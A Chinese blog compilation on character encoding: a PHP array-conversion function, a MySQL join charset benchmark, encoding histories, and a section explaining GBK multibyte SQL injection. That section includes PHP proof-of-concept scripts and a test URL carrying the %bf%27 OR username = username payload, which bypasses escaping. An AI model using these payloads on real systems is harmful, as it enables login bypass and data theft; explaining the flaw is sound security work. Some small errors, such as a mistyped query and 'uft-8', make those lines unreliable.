php函数mult_iconv:转换任意维数组的字符集编码(扩展iconv函数功能)

php的iconv函数只支持对字符串的转换编码,如果是数组,就要自己遍历转换了,因此写如上的函数,对任意维数组进行转换,同时转换下标(索引)及值。

注意:不转对象。

function mult_iconv($in_charset,$out_charset,$data)
{
    if(substr($out_charset,-8)=='//IGNORE'){
        $out_charset=substr($out_charset,0,-8);
    }
    if(is_array($data)){
        foreach($data as $key => $value){
            if(is_array($value)){
                $key=iconv($in_charset,$out_charset.'//IGNORE',$key);
                $rtn[$key]=mult_iconv($in_charset,$out_charset,$value);
            }elseif(is_string($key) || is_string($value)){
                if(is_string($key)){
                    $key=iconv($in_charset,$out_charset.'//IGNORE',$key);
                }
                if(is_string($value)){
                    $value=iconv($in_charset,$out_charset.'//IGNORE',$value);
                }
                $rtn[$key]=$value;
            }else{
                $rtn[$key]=$value;
            }
        }
    }elseif(is_string($data)){
        $rtn=iconv($in_charset,$out_charset.'//IGNORE',$data);
    }else{
        $rtn=$data;
    }
    return $rtn;
}

下载程序文件(含示例)

调用示例:

$foobar=mult_iconv('gbk','utf-8','一个数组、字符串或其它类型数据');

一个复杂一点的测试示例(不转对象)

// ******* 一个复杂一点的测试示例 ********************
class MyClass
{
    public $v1='不转对象,恭喜发财';
    public $v2='skipped object';
    public function f()
    {
        return true;
    }
}
$obj=new MyClass();

$foo=array('abcd','随便写点文字'
    ,array('中文下标'=> 789,'天地玄黄'
        =>array('宇宙洪荒'=>'赵钱孙李',300=>'恭喜发财,不转对象'
                    ,array('更深的数组'=>'照样可以转换')
                )
    )
    ,'恭喜发财,不转对象' => $obj
    ,'如需转对象'=>'Do It Yourself!'
    ,'作者很懒'=>'用不到就不写了'
    );
$bar=mult_iconv('gbk','utf-8//IGNORE',$foo);
var_dump($bar);

mysql join查询时,参与join的字段字符集编码不同,对性能影响是巨大的

本文一直以来都只是个标题,在三个月后的今天,熬夜补上内容。

直接上代码:

建utf-8编码的表 t1:

CREATE TABLE IF NOT EXISTS `t1` (
  `name` varchar(50) NOT NULL DEFAULT '',
  KEY `name` (`name`)
) ENGINE=MyISAM DEFAULT CHARSET=utf8;

随便插入些数据,数量大一点,后面实验结果更清晰,偷个懒,构造随机字符串插入语句

insert into t1(name) 
select concat(
char(round((rand())*25)+97),
char(round((rand())*25)+65),
char(round((rand())*25)+65),
char(round((rand())*25)+97),
char(round((rand())*25)+65),
char(round((rand())*25)+65),
char(round((rand())*25)+97),
char(round((rand())*25)+65)
)

每次执行插入一条记录,用你熟悉的脚本(python,php,shell等都行)写个循环,执行一万次以上。

将该表复制成一个新表t2,删除一部分数据,1000条左右即可。(推荐使用phpMyAdmin)

再将t2复制为t3,并将字段改为gb2312编码。

使用一个left join语句,写一个语句,查出t2/t3比t1少了哪些记录。

语句很简单,如下:

SELECT SQL_NO_CACHE t1.name, t2.name
FROM t1
LEFT JOIN t2 ON t1.name = t2.name
WHERE t2.name IS NULL 
LIMIT 0 , 30

注意加入 SQL_NO_CACHE ,禁用mysql缓存。

先看编码一致的t2表,phpMyAdmin里执行结果:

显示行 0 - 29 ( 1,129 总计, 查询花费 0.0010 秒)

平均耗时大概为0.0010秒

SELECT SQL_NO_CACHE t1.name, t3.name
FROM t1
LEFT JOIN t3 ON t1.name = t3.name
WHERE t2.name IS NULL 
LIMIT 0 , 30

phpMyAdmin执行结果:

显示行 0 - 29 ( 30 总计, 查询花费 0.1871 秒)

差两个数量级!

查询语句解释:

t2

id select_type table type possible_keys key key_len ref rows Extra
1 SIMPLE t1 index NULL name 152 NULL 11129 Using index
1 SIMPLE t2 ref name name 152 test.t1.name 1 Using where; Using index; Not exists

t3

id select_type table type possible_keys key key_len ref rows Extra
1 SIMPLE t1 index NULL name 152 NULL 11129 Using index
1 SIMPLE t3 index NULL name 102 NULL 10000 Using where; Using index; Not exists

附带上本次实验的三个表及数据
实验用表导出备份test.sql

 

[转]趣话字符集与字符编码

很久很久以前,有一群人,他们决定用8个可以开合的晶体管来组合成不同的状态,以表示世界上的万物。他们看到8个开关状态是好的,于是他们把这称为"字节"。

再后来,他们又做了一些可以处理这些字节的机器,机器开动了,可以用字节来组合出很多状态,状态开始变来变去。他们看到这样是好的,于是它们就这机器称为"计算机"。

开始计算机只在美国用。八位的字节一共可以组合出256(2的8次方)种不同的状态。

他们把其中的编号从0开始的32种状态分别规定了特殊的用途,一但终端、打印机遇上约定好的这些字节被传过来时,就要做一些约定的动作。遇上 00x10, 终端就换行,遇上0x07, 终端就向人们嘟嘟叫,例好遇上0x1b, 打印机就打印反白的字,或者终端就用彩色显示字母。他们看到这样很好,于是就把这些0x20以下的字节状态称为"控制码"。

他们又把所有的空格、标点符号、数字、大小写字母分别用连续的字节状态表示,一直编到了第127号,这样计算机就可以用不同字节来存储英语的文字 了。大家看到这样,都感觉很好,于是大家都把这个方案叫做 ANSI 的"Ascii"编码(American Standard Code for Information Interchange,美国信息互换标准代码)。当时世界上所有的计算机都用同样的ASCII方案来保存英文文字。

后来,就像建造巴比伦塔一样,世界各地的都开始使用计算机,但是很多国家用的不是英文,他们的字母里有许多是ASCII里没有的,为了可以在计算 机保存他们的文字,他们决定采用127号之后的空位来表示这些新的字母、符号,还加入了很多画表格时需要用下到的横线、竖线、交叉等形状,一直把序号编到 了最后一个状态255。从128到255这一页的字符集被称"扩展字符集"。从此之后,贪婪的人类再没有新的状态可以用了,美帝国主义可能没有想到还有第 三世界国家的人们也希望可以用到计算机吧!

等中国人们得到计算机时,已经没有可以利用的字节状态来表示汉字,况且有6000多个常用汉字需要保存呢。但是这难不倒智慧的中国人民,我们不客 气地把那些127号之后的奇异符号们直接取消掉, 规定:一个小于127的字符的意义与原来相同,但两个大于127的字符连在一起时,就表示一个汉字,前面的一个字节(他称之为高字节)从0xA1用到 0xF7,后面一个字节(低字节)从0xA1到0xFE,这样我们就可以组合出大约7000多个简体汉字了。在这些编码里,我们还把数学符号、罗马希腊的 字母、日文的假名们都编进去了,连在 ASCII 里本来就有的数字、标点、字母都统统重新编了两个字节长的编码,这就是常说的"全角"字符,而原来在127号以下的那些就叫"半角"字符了。

中国人民看到这样很不错,于是就把这种汉字方案叫做 "GB2312"。GB2312 是对 ASCII 的中文扩展。

但是中国的汉字太多了,我们很快就就发现有许多人的人名没有办法在这里打出来,特别是某些很会麻烦别人的国家领导人。于是我们不得不继续把 GB2312 没有用到的码位找出来老实不客气地用上。

后来还是不够用,于是干脆不再要求低字节一定是127号之后的内码,只要第一个字节是大于127就固定表示这是一个汉字的开始,不管后面跟的是不 是扩展字符集里的内容。结果扩展之后的编码方案被称为 GBK 标准,GBK 包括了 GB2312 的所有内容,同时又增加了近20000个新的汉字(包括繁体字)和符号。

后来少数民族也要用电脑了,于是我们再扩展,又加了几千个新的少数民族的字,GBK 扩成了 GB18030。从此之后,中华民族的文化就可以在计算机时代中传承了。

中国的程序员们看到这一系列汉字编码的标准是好的,于是通称他们叫做 "DBCS"(Double Byte Charecter Set 双字节字符集)。在DBCS系列标准里,最大的特点是两字节长的汉字字符和一字节长的英文字符并存于同一套编码方案里,因此他们写的程序为了支持中文处 理,必须要注意字串里的每一个字节的值,如果这个值是大于127的,那么就认为一个双字节字符集里的字符出现了。那时候凡是受过加持,会编程的计算机僧侣 们都要每天念下面这个咒语数百遍:

"一个汉字算两个英文字符!一个汉字算两个英文字符......"

因为当时各个国家都像中国这样搞出一套自己的编码标准,结果互相之间谁也不懂谁的编码,谁也不支持别人的编码,连大陆和台湾这样只相隔了150海 里,使用着同一种语言的兄弟地区,也分别采用了不同的 DBCS 编码方案。当时的中国人想让电脑显示汉字,就必须装上一个"汉字系统",专门用来处理汉字的显示、输入的问题,但是那个台湾的愚昧封建人士写的算命程序就 必须加装另一套支持 BIG5 编码的什么"倚天汉字系统"才可以用,装错了字符系统,显示就会乱了套!这怎么办?而且世界民族之林中还有那些一时用不上电脑的穷苦人民,他们的文字又怎 么办?

真是计算机的巴比伦塔命题啊!

正在这时,大天使加百列及时出现了:一个叫 ISO (国际标谁化组织)的国际组织决定着手解决这个问题。他们采用的方法很简单:废了所有的地区性编码方案,重新搞一个包括了地球上所有文化、所有字母和符号 的编码!他们打算叫它"Universal Multiple-Octet Coded Character Set",简称 UCS, 俗称 "UNICODE"。

UNICODE 开始制订时,计算机的存储器容量极大地发展了,空间再也不成为问题了。于是 ISO 就直接规定必须用两个字节,也就是16位来统一表示所有的字符,对于ascii里的那些"半角"字符,UNICODE 包持其原编码不变,只是将其长度由原来的8位扩展为16位,而其他文化和语言的字符则全部重新统一编码。由于"半角"英文符号只需要用到低8位,所以其高 8位永远是0,因此这种大气的方案在保存英文文本时会多浪费一倍的空间。

这时候,从旧社会里走过来的程序员开始发现一个奇怪的现象:他们的strlen函数靠不住了,一个汉字不再是相当于两个字符了,而是一个!是的, 从 UNICODE 开始,无论是半角的英文字母,还是全角的汉字,它们都是统一的"一个字符"!同时,也都是统一的"两个字节",请注意"字符"和"字节"两个术语的不 同,"字节"是一个8位的物理存贮单元,而"字符"则是一个文化相关的符号。在UNICODE 中,一个字符就是两个字节。一个汉字算两个英文字符的时代已经快过去了。

从前多种字符集存在时,那些做多语言软件的公司遇上过很大麻烦,他们为了在不同的国家销售同一套软件,就不得不在区域化软件时也加持那个双字节字 符集咒语,不仅要处处小心不要搞错,还要把软件中的文字在不同的字符集中转来转去。UNICODE 对于他们来说是一个很好的一揽子解决方案,于是从 Windows NT 开始,MS 趁机把它们的操作系统改了一遍,把所有的核心代码都改成了用 UNICODE 方式工作的版本,从这时开始,WINDOWS 系统终于无需要加装各种本土语言系统,就可以显示全世界上所有文化的字符了。

但是,UNICODE 在制订时没有考虑与任何一种现有的编码方案保持兼容,这使得 GBK 与UNICODE 在汉字的内码编排上完全是不一样的,没有一种简单的算术方法可以把文本内容从UNICODE编码和另一种编码进行转换,这种转换必须通过查表来进行。

如前所述,UNICODE 是用两个字节来表示为一个字符,他总共可以组合出65535不同的字符,这大概已经可以覆盖世界上所有文化的符号。如果还不够也没有关系,ISO已经准备 了UCS-4方案,说简单了就是四个字节来表示一个字符,这样我们就可以组合出21亿个不同的字符出来(最高位有其他用途),这大概可以用到银河联邦成立 那一天吧!

UNICODE 来到时,一起到来的还有计算机网络的兴起,UNICODE 如何在网络上传输也是一个必须考虑的问题,于是面向传输的众多 UTF(UCS Transfer Format)标准出现了,顾名思义,UTF8就是每次8个位传输数据,而UTF16就是每次16个位,只不过为了传输时的可靠性,从UNICODE到 UTF时并不是直接的对应,而是要过一些算法和规则来转换。

受到过网络编程加持的计算机僧侣们都知道,在网络里传递信息时有一个很重要的问题,就是对于数据高低位的解读方式,一些计算机是采用低位先发送的 方法,例如我们PC机采用的 INTEL 架构,而另一些是采用高位先发送的方式,在网络中交换数据时,为了核对双方对于高低位的认识是否是一致的,采用了一种很简便的方法,就是在文本流的开始时 向对方发送一个标志符。如果之后的文本是高位在位,那就发送"FEFF",反之,则发送"FFFE"。不信你可以用二进制方式打开一个UTF-X格式的文 件,看看开头两个字节是不是这两个字节?

讲到这里,我们再顺便说说一个很著名的奇怪现象:当你在 windows 的记事本里新建一个文件,输入"联通"两个字之后,保存,关闭,然后再次打开,你会发现这两个字已经消失了,代之的是几个乱码!呵呵,有人说这就是联通之所以拼不过移动的原因。

其实这是因为GB2312编码与UTF8编码产生了编码冲撞的原因。

从网上引来一段从UNICODE到UTF8的转换规则:

Unicode

UTF-8
0000 - 007F

0xxxxxxx

0080 - 07FF

110xxxxx 10xxxxxx

0800 - FFFF

1110xxxx 10xxxxxx 10xxxxxx

例如"汉"字的Unicode编码是6C49。6C49在0800-FFFF之间,所以要用3字节模板:1110xxxx 10xxxxxx 10xxxxxx。将6C49写成二进制是:0110 1100 0100 1001,将这个比特流按三字节模板的分段方法分为0110 110001 001001,依次代替模板中的x,得到:1110-0110 10-110001 10-001001,即E6 B1 89,这就是其UTF8的编码。

而当你新建一个文本文件时,记事本的编码默认是ANSI, 如果你在ANSI的编码输入汉字,那么他实际就是GB系列的编码方式,在这种编码下,"联通"的内码是:

c1 1100 0001

aa 1010 1010

cd 1100 1101

a8 1010 1000

注意到了吗?第一二个字节、第三四个字节的起始部分的都是"110"和"10",正好与UTF8规则里的两字节模板是一致的,于是再次打开记事本 时,记事本就误认为这是一个UTF8编码的文件,让我们把第一个字节的110和第二个字节的10去掉,我们就得到了"00001 101010",再把各位对齐,补上前导的0,就得到了"0000 0000 0110 1010",不好意思,这是UNICODE的006A,也就是小写的字母"j",而之后的两字节用UTF8解码之后是0368,这个字符什么也不是。这就 是只有"联通"两个字的文件没有办法在记事本里正常显示的原因。

而如果你在"联通"之后多输入几个字,其他的字的编码不见得又恰好是110和10开始的字节,这样再次打开时,记事本就不会坚持这是一个utf8编码的文件,而会用ANSI的方式解读之,这时乱码又不出现了。
from 说说字符集和编码

php程序中的编码转换

在php中解决字符编码转换,可以编写自定义的php函数进行字符编码解码,但是对性能有一定影响,并且要针对每种字符编码编写专用的函数; 这里介绍在php中有简便易用的专用函数:

1.使用iconv函数转换字符编码,该函数仅能在PHP4.0.5以上版本或PHP5.x版本使用,具体用法如下:

$string=iconv(原字符编码, 字符输出编码, $string);

例如:网页使用gbk编码,字符串使用utf-8编码,将字符转换为网页显示编码。

echo iconv("uft-8", "gbk", "php编码转换");

在实际使用中,iconv函数在转换时存在一点小bug,在转换字符串中含有"—"时会出错,导致字符串无法转换,使用//IGNORE参数可以忽略转换中的字符错误,样例如下:

echo iconv("uft-8", "gbk//IGNORE", "php编码转换");

2.使用mb_convert_encoding函数,该函数仅能在PHP4.0.6以上版本或PHP5.x版本使用,使用之前必须enable mbstring,具体用法如下:

$string=mb_convert_encoding($string, 字符输出编码, 原字符编码);

例如:网页使用gbk编码,字符串使用utf-8编码,将字符转换为网页显示编码。

echo mb_convert_encoding("php编码转换", "gbk", "utf-8");

windows下mbstring安装配置请参看这里 windows下PHP 激活mbstring扩展及php.ini中相关基本设置

总结:推荐使用mb_convert_encoding函数,该函数无iconv转换字符错误问题。

PHP字符编码绕过漏洞总结

其实这东西国内少数黑客早已知道,只不过没有共享公布而已。有些人是不愿共享,宁愿烂在地里,另外的一些则是用来牟利。
该漏洞最早2006年被国外用来讨论数据库字符集设为GBK时,0xbf27本身不是一个有效的GBK字符,但经过 addslashes() 转换后变为0xbf5c27,前面的0xbf5c是个有效的GBK字符,所以0xbf5c27会被当作一个字符0xbf5c和一个单引号来处理,结果漏洞 就触发了。

mysql_real_escape_string() 也存在相同的问题,只不过相比 addslashes() 它考虑到了用什么字符集来处理,因此可以用相应的字符集来处理字符。在MySQL 中有两种改变默认字符集的方法。

方法一:

改变mysql配置文件my.cnf
[client]
default-character-set=GBK
方法二:
在建立连接时使用
CODE:
SET CHARACTER SET 'GBK'
例:mysql_query("SET CHARACTER SET 'gbk'", $c);
问题是方法二在改变字符集时mysql_real_escape_string() 并不知道而使用默认字符集处理从而造成和 addslashes() 一样的漏洞
下面是来自http://ilia.ws/archives/103-mysql_real_escape_string-versus-Prepared-Statements.html的测试代码
<?php

$c = mysql_connect("localhost", "user", "pass");
mysql_select_db("database", $c);

// change our character set
mysql_query("SET CHARACTER SET 'gbk'", $c);

// create demo table
mysql_query("CREATE TABLE users (
username VARCHAR(32) PRIMARY KEY,
password VARCHAR(32)
) CHARACTER SET 'GBK'", $c);
mysql_query("INSERT INTO users VALUES('foo','bar'), ('baz','test')", $c);

// now the exploit code
$_POST['username'] = chr(0xbf) . chr(0x27) . ' OR username = username /*';
$_POST['password'] = 'anything';

// Proper escaping, we should be safe, right?
$user = mysql_real_escape_string($_POST['username'], $c);
$passwd = mysql_real_escape_string($_POST['password'], $c);

$sql = "SELECT * FROM  users WHERE  username = '{$user}' AND password = '{$passwd}'";
$res = mysql_query($sql, $c);
echo mysql_num_rows($res); // will print 2, indicating that we were able to fetch all records

?>
纵观以上两种触发漏洞的关键是addslashes() 在Mysql配置为GBK时就可以触发漏洞,而mysql_real_escape_string() 是在不知道字符集的情况下用默认字符集处理产生漏洞的。
下面再来分析下国内最近漏洞产生的原因。
问题出现在一些字符转换函数上,例如mb_convert_encoding()和iconv()等。
发布在80sec上的说明说0xc127等一些字符再被addslashes() 处理成0xc15c27后,又经过一些字符转换函数变为0×808027,而使得经过addslashes() 加上的"\"失效,这样单引号就又发挥作用了。这就造成了字符注入漏洞。
根据80sec的说明,iconv()没有该问题,但经我用0xbf27测试
$id1=mb_convert_encoding($_GET['id'], 'utf-8', 'gbk');
$id2=iconv('gbk//IGNORE', 'utf-8', $_GET['id']);
$id3=iconv('gbk', 'utf-8', $_GET['id']);
这些在GPC开启的情况下还是会产生字符注入漏洞,测试代码如下:
<?php

$c = mysql_connect("localhost", "user", "pass");
mysql_select_db("database", $c);

// change our character set
mysql_query("SET CHARACTER SET 'gbk'", $c);

// create demo table
mysql_query("CREATE TABLE users (
username VARCHAR(32) PRIMARY KEY,
password VARCHAR(32)
) CHARACTER SET 'GBK'", $c);
mysql_query("INSERT INTO users VALUES('foo','bar'), ('baz','test')", $c);

// now the exploit code
//$id1=mb_convert_encoding($_GET['id'], 'utf-8', 'gbk');
$id2=iconv('gbk//IGNORE', 'utf-8', $_GET['id']);
//$id3=iconv('gbk', 'utf-8', $_GET['id']);

$sql = "SELECT * FROM  users WHERE  username = '{$id2}' AND password = 'password'";
$res = mysql_query($sql, $c);
echo mysql_num_rows($res); // will print 2, indicating that we were able to fetch all records

?>
测试情况 http://www.safe3.cn/test.php?id=%bf%27 OR username = username /*

后记,这里不光是%bf,其它许多字符也可以造成同样漏洞,大家可以自己做个测试的查下,这里有zwell文章提到的一个分析http://hackme.ntobjectives.com/sql_inject/login_addslashes.php 。编码的问题在xss中也有利用价值,详情请看我早期转载的一篇文章Bypassing script filters with variable-width encodings [注,已被转到本站]

from http://huaidan.org/archives/2268.html

中文化和国际化问题权威解析之一:字符编码发展历程

原作者序
在我开发Java程序的几年中,遇到得最多,也是别人向我提问最多的问题,就是各种各样看似稀奇古怪的中文乱码问题了。网上也有许多解释和解决Java中文问题的文章,但水平参差不齐,有一些文章甚至是错误的。

此外,我们公司自己的Java程序从一开始就采用了错误的方式处理中文问题,虽能解一时之急,却引出了越来越多的深远的问题。每当我听到有的同事还在讨论如何特殊处理双字节的中文GB码,就感慨他们思路的狭隘。试问,今天我们可以用特殊的方式处理我们所熟悉的中文编码,可是今后我们怎样才能应付日文版、韩文版、或世界其它国家语言的产品开发呢?

在我看来,与其说这些问题是“中文化问题”,不如说是“国际化问题”。所谓的“汉化”这种说法已经随时代远去了。想想看,这个词带有明显的小农经济的色彩:自家汉化自家用,哪管世界变化多。经过汉化的软件,常常意味着:版本落后、不兼容、不稳定。为什么会这样呢?根本原因是,从软件的设计阶段,就没有考虑国际用户的需要,没有采用国际通用的标准。事后要弥补自然难上加难。

所以让我们把眼光放开,想一想“国际化”。当然国际化的目的还是生产出“汉化”的软件,但我们可以用同样的方法“韩化”、“日化”、“阿拉伯化”,统称为“本地化” —— 这就是“国际化”的目的。国际化和本地化有两个很体面的英文缩写:I18n(Internationalization)和L10n(Localization)。

想要开发出国际化的软件产品,首先要了解国际标准,而不是使用东拼西凑的权宜之计。本文首先从相关国际标准的讨论切入,相信正确地理解和应用这些标准,所有的“中文化问题”或“国际化问题”都会迎刃而解。

字符编码简介
ASCII码
从学计算机的那天开始,老师就告诉我们在计算机里面,所有的英文字母都对应到一个数字编码,这就是ASCII码(American Standard Code for Information Interchange)。ASCII码是很久很久以前(1968年)制定的。它只使用了一个8位字节中的低7位,总共是127个编码位。这样的方案很快就不够使用了。

单字节编码的发展
在80年代早期,一些现在流行的标准(如ISO 8859和Unicode)还未出现。那时为了支持多种地区的语言,各大组织机构或IT厂商开始发明它们自己的编码方案,以便弥补ASCII编码的不足。一时间,各种互不相容的字符编码方案成百花齐放之势。

为了避免混乱,ISO组织在1998年之后,陆续发表了一系列代号为8859的标准,作为ASCII编码的标准扩展,终于统一了单字节的西方字符的编码。ISO是设在瑞士的国际标准化组织的简称(International Organization for Standardization)。

ISO-8859-1(Latin1 - 西欧字符)

ISO-8859-1覆盖了大多数西欧语言,包括:法国、西班牙、葡萄牙、意大利、荷兰、德国、丹麦、瑞典、挪威、芬兰、冰岛、爱尔兰、苏格兰、英格兰等,因而也涉及到了整个美洲大陆、澳大利亚和非洲很多国家的语言。

此外,ISO-8859-1后来被采纳为ISO-10646标准(后面会讲到)的首页,换句话说,Unicode的最开头256个字符编码和ISO-8859-1是一一对应的。正是由于这个特殊性,使很多人产生了对ISO-8859-1编码的误用。

ISO-8859标准还包括:

ISO-8859-2(Latin2 - 中、东欧字符)
ISO-8859-3(Latin3 - 南欧字符)
ISO-8859-4(Latin4 - 北欧字符)
ISO-8859-5(Cyrillic - 斯拉夫语)
ISO-8859-6(Arabic - 阿拉伯语)
ISO-8859-7(Greek - 希腊语)
ISO-8859-8(Hebrew - 希伯来语)
ISO-8859-9(Latin5)
ISO-8859-10(Latin6)
ISO-8859-11(Thai - 泰国语)
ISO-8859-12(保留)
ISO-8859-13(Latin7)
ISO-8859-14(Latin8)
ISO-8859-15(Latin9)
但是ISO 8859系列标准的字符编码,还是互不相容,不可能同时使用的。毕竟它们只是单字节的编码方案。而且,它们和多字节的编码方案如中文编码GB2312和BIG5也是不相容的。那些欧洲字符(最高位为1的字符),在GB2312和BIG5中被认为是双字节汉字编码的首字节。

多字节编码的发展
单字节编码只有256个码位(28=256),而中文字符何止千千万,单字节编码不可能满足中文编码的需要。于是为了适应东方文字信息处理的需要,ISO又制定了ISO 2022标准(Character code structure and extension techniques),提供了七位与八位编码字符集的扩充方法的标准。我国根据ISO 2022制定了国家标准GB2311 ——《信息交换用七位编码字符集的扩充方法》,并根据该标准制定了国家标准GB2312-80编码。其他东方国家和地区也制定了各自的字符编码标准,如日本的JIS0208,韩国的KSC5601,台湾地区的CNS11643等。

BIG5

BIG5是从CNS11643的早期版本发展而来的,虽然没有包括CNS11643的全部内容,但却是目前台湾、香港地区普遍使用的一种繁体汉字的市场标准,包括440个符号,一级汉字5401个、二级汉字7652个,共计13060个汉字。

GB2312-80

全称是《信息交换用汉字编码字符集 基本集》,1980年发布,是中文信息处理的国家标准,在大陆及海外使用简体中文的地区(如新加坡等)是强制使用的唯一中文编码。

·         双字节编码

·         A1-A9:符号区,包含682个符号

·         B0-F7:汉字区,包含6763个汉字

GB2312码共收录6763个简体汉字、682个符号,其中汉字部分:一级字3755,以拼音排序,二级字3008,以偏旁排序。该标准的制定和应用为规范、推动中文信息化进程起了很大作用。

GBK

汉字内码扩展规范(GBK)是国家技术监督局1995年为中文Windows 95所制定的新的汉字内码规范。

·         双字节编码,GB2312-80的扩充,在码位上和GB2312-80兼容。

·         范围:8140 ~ FEFE(剔除xx7F)共23940个码位。

·         包含21003个汉字,包含了ISO 10646中的全部中日韩汉字,简、繁体字融于一库。

严格说,GBK不能算是国家标准,最多算是一个商业标准。而GB18030才是真正的国家标准。

GB18030-2000

全称是《信息交换用汉字编码字符集》,是我国的强制标准,所有不支持GB18030标准的软件将不能作为产品出售。

·         单字节、双字节、四字节编码。

·         向下与GB2312编码兼容。

·         支持GB 13000.1-1993中的全部中、日、韩(CJK)统一汉字字符和全部CJK统一汉字扩展A的字符。

虽然GB18030标准非常强大,但它是一个中国大陆的标准。在编码上,除了和GB2312以外,还是不能和世界上其它任何一种字符编码统一。

终极标准 —— Unicode和ISO 10646
前面所讲的一切字符编码方案,都是针对局部地区或少数语言文字的,没有办法同时表达所有的语言文字,或在多种语言平台上交换。这对今天极其频繁的国际信息交流是不相称的。

为了提高计算机的信息处理和交换功能,使得世界各国的文字都能在计算机中处理,从1984年起,ISO组织就开始研究制定一个全新的标准:通用多八位编码字符集(Universal Multiple-Octet Coded Character Set),简称UCS。标准的编号为:ISO 10646。这一标准为世界各种主要语言的字符(包括简体及繁体的中文字)及附加符号,编制统一的内码。

统一码(Unicode)是Universal Code的缩写,是由另一个叫“Unicode学术学会”(The Unicode Consortium)的机构制定的字符编码系统。Unicode与ISO 10646国际编码标准从内容上来说是同步一致的。

Unicode是Java语言和XML的基础,所以我们要稍微详细地介绍一下Unicode以及ISO 10646标准。

注意:不够耐心的读者可以跳过本章的余下部分。但显然了解本章所描述的Unicode及相关编码的技术细节,有利于你更好地理解和应用Unicode。

Unicode和ISO 10646的关系
在1991年,Unicode学术学会与ISO国际标准化组织决定共同制订一套适用于多种语言文本的通用编码标准。Unicode与ISO 10646国际编码标准于1992年1月正式合作发展一套通用编码标准。自此,两个组织便一直紧密合作,同步发展Unicode及ISO 10646国际编码标准。

ISO 10646(UCS)
Unicode

1993年,ISO组织发表ISO 10646国际编码标准的第一个版本,全名是ISO/IEC 10646-1:1993。它收录了20902个表意字符(ideograph,中日韩文均属表意字符)。
同年,Unicode学术学会根据ISO/IEC 10646-1:1993修订了Unicode 1.0,发布Unicode 1.1。

不断改善和修订ISO 10646标准。
1996年发表Unicode 2.0,1998年发表Unicode 2.1,根据ISO 10646做了一些改善和修订,新增了欧元符号。

2000年10月发表了ISO 10646第二版的第一部分:ISO/IEC 10646-1:2000,新增收了6,582个表意字符于扩展区A中(CJK Unified Ideographs Extension A)。
2000年2月,发表Unicode 3.0,也包含了同样的CJK Ext A。

2001年,发表了ISO/IEC 10646的第二部分,增收了42711个表意字符于扩展区B里。
2001年,Unicode发表3.1版,将CJK Ext B纳入新版Unicode中。

虽然两个组织保持如此密切的合作关系,但Unicode和ISO 10646还是有区别的。ISO 10646着重定义字符编码,而Unicode则在此基础上,为这些字符及编码数据提出应用的方法以及对语义数据作补充。

UCS的结构
UCS的结构是一个四维的编码空间,每一维由一个字节(八位二进制位)组成,范围是00到FF。总体上分为128个群组(Group 00-7F),每一群组由256个平面(Plane 00-FF)组成,每一平面有256行(Row 00-FF),每一行256个编码位(Cell 00-FF)。所以,每一平面包括65,536个字符位(Character Position 0000-FFFF)。

整个编码字符集的每个字符都由4个字节,按“组-面-行-列”的顺序表示。所以UCS的可编码空间为:128 × 256 × 256 × 256 = 231。

UCS将其第一个平面(00群组中的00平面)称作基本多语种平面(Basic Multilingual Plane,BMP)。

 

在UCS中,目前只有00组是重要的,Unicode学术学会断言,在可以预见的将来,甚至不可能用完00组中的前17个平面(00平面到10平面)。因此,Unicode只定义了ISO 10646的第00组的前17个平面。事实上,目前绝大多数字符,都分配在第00平面BMP中。

 

下表中列出了BMP中的字符分配情况:

区间
描述

(0000-1FFF)基本拼音字符区
包括所有拼读文字的字母拼音和音标。它的字符集一般较小,如:拉丁文、西里尔文、希腊文、希伯来文、阿拉伯文、泰文、天成文书(梵文)等。

(2000-28FF)符号区
包括许多种用于标点、数学、化学、科技及其它特殊用途上的“符号”和“丁贝符”(示意图形符号)。

(2E80-33FF)中日韩语音及符号区
包括用于中国、日本、韩国语言中的标点、符号、字根(笔画)及发音等字符。

(3400-9FA5)中日韩汉字字符区
由27,484个中日韩(越)的统一汉字组成。

(A000-A4C6)彝族字符区
由1,165个中国南方彝族音节和50个其字根组成。

(AC00-D7A3)韩字符拼音区
由11,172个预先组合的韩字符拼音音节组成。

(D800-DFFF)代理区
这个区被平分为1024个“高半代理区”(D800-DBFF)码位和1024个“低半代理区”(DC00-DFFF)码位,用来形成代理对,可以得到超过一百万个扩充编码位。

(E000-F8FF)私人专用区
包含6,400个编码位,用于用户或开发商自行定义的字符编码。

(F900-FA2D)兼容字符区
包括一些被许多行业协会和国家标准广泛使用的字符,但在Unicode编码中有不同的表现形式。包含一些专用字符。

UCS的表现形式
UCS有两种方式来表示一个字符编码:四字节正规形式(UCS-4,Four-octet canonical form)和双字节基本平面形式(UCS-2,Two-octet BMP form)。

UCS-4 —— 四字节正规形式

UCS-4用4个字节来表示一个字符。第一个字节表示组(Group),第二表示平面(Plane),第三表示行(Row),第四表示单元号或列(Cell)。

UCS-2 —— 双字节基本平面形式

当系统只使用BMP的字符码时,可以省略群组和平面中的八位,将字符码由32个位缩短为16个位(2个字节)。标记为UCS-2。

Unicode和UCS-2同样采用16位编码。所以一般可以把Unicode和UCS-2看作是同一样东西。

代理对(Surrogate Pair)

UCS-4定义了4个字节表示一个字符,用来应付将来的扩展是绰绰有余。可是Unicode和UCS-2只定义了2个字节,却很容易用尽。代理对(Surrogate Pair)的设计在这种背景下应运而生。

UCS-2在BMP中开辟了一个特殊的区间(D800 - DFFF) -- 代理区,并平分成两个区,分别称为高半代理区(High-half Zone,D800 - DBFF),和低半代理区(Low-half Zone,DC00 - DFFF),各有1024个码位。使用时,从高低两个代理区中各取一个编码组成一个四字节的代理,来表示一个在BMP以外平面上的编码字符位。这样一来,总共可以多表示1024×1024个字符,映射到00群组中的01到10平面(共16个平面)。

代理对提供了用BMP的2字节编码来表示在基本多文种平面(BMP)之外的16个平面编码的机制。一些不常用的字符可以用代理对表示。目前,只有ISO/IEC 10646-2:2001和Unicode 3.1才使用到代理对。

高半代理区和低半代理区的划分,使编码位相互区分开。非代理区字符一定不会在这个区里。因为高半代理区和低半代理区不相交,所以很容易决定字符值的边界。一个完好的文本中,高半代理码和低半代理码总是按先后成对出现。

如果在实现上没有删除代理码或在代理码对中插入字符,数据的完整性就可得到保证。即使数据有残损,也只是局部的。一个残缺的码只影响一个字符。因为高半代理区和低半代理区不相交,且成对出现,错码不会传到文本的其它部分。

具体来说,一个代理对(H,L)由码值为D800-DBFF 的高半代理码H和码值为 DC00-DFFF低半代理码L组成。将一个字符映射到UCS-4码位中。假设N是UCS-4码值,则有:(以下所有数字均为16进制)

N = (H - D800) × 400 + (L - DC00) + 10000

于是得到N的码值为10000到10FFFF。

注意

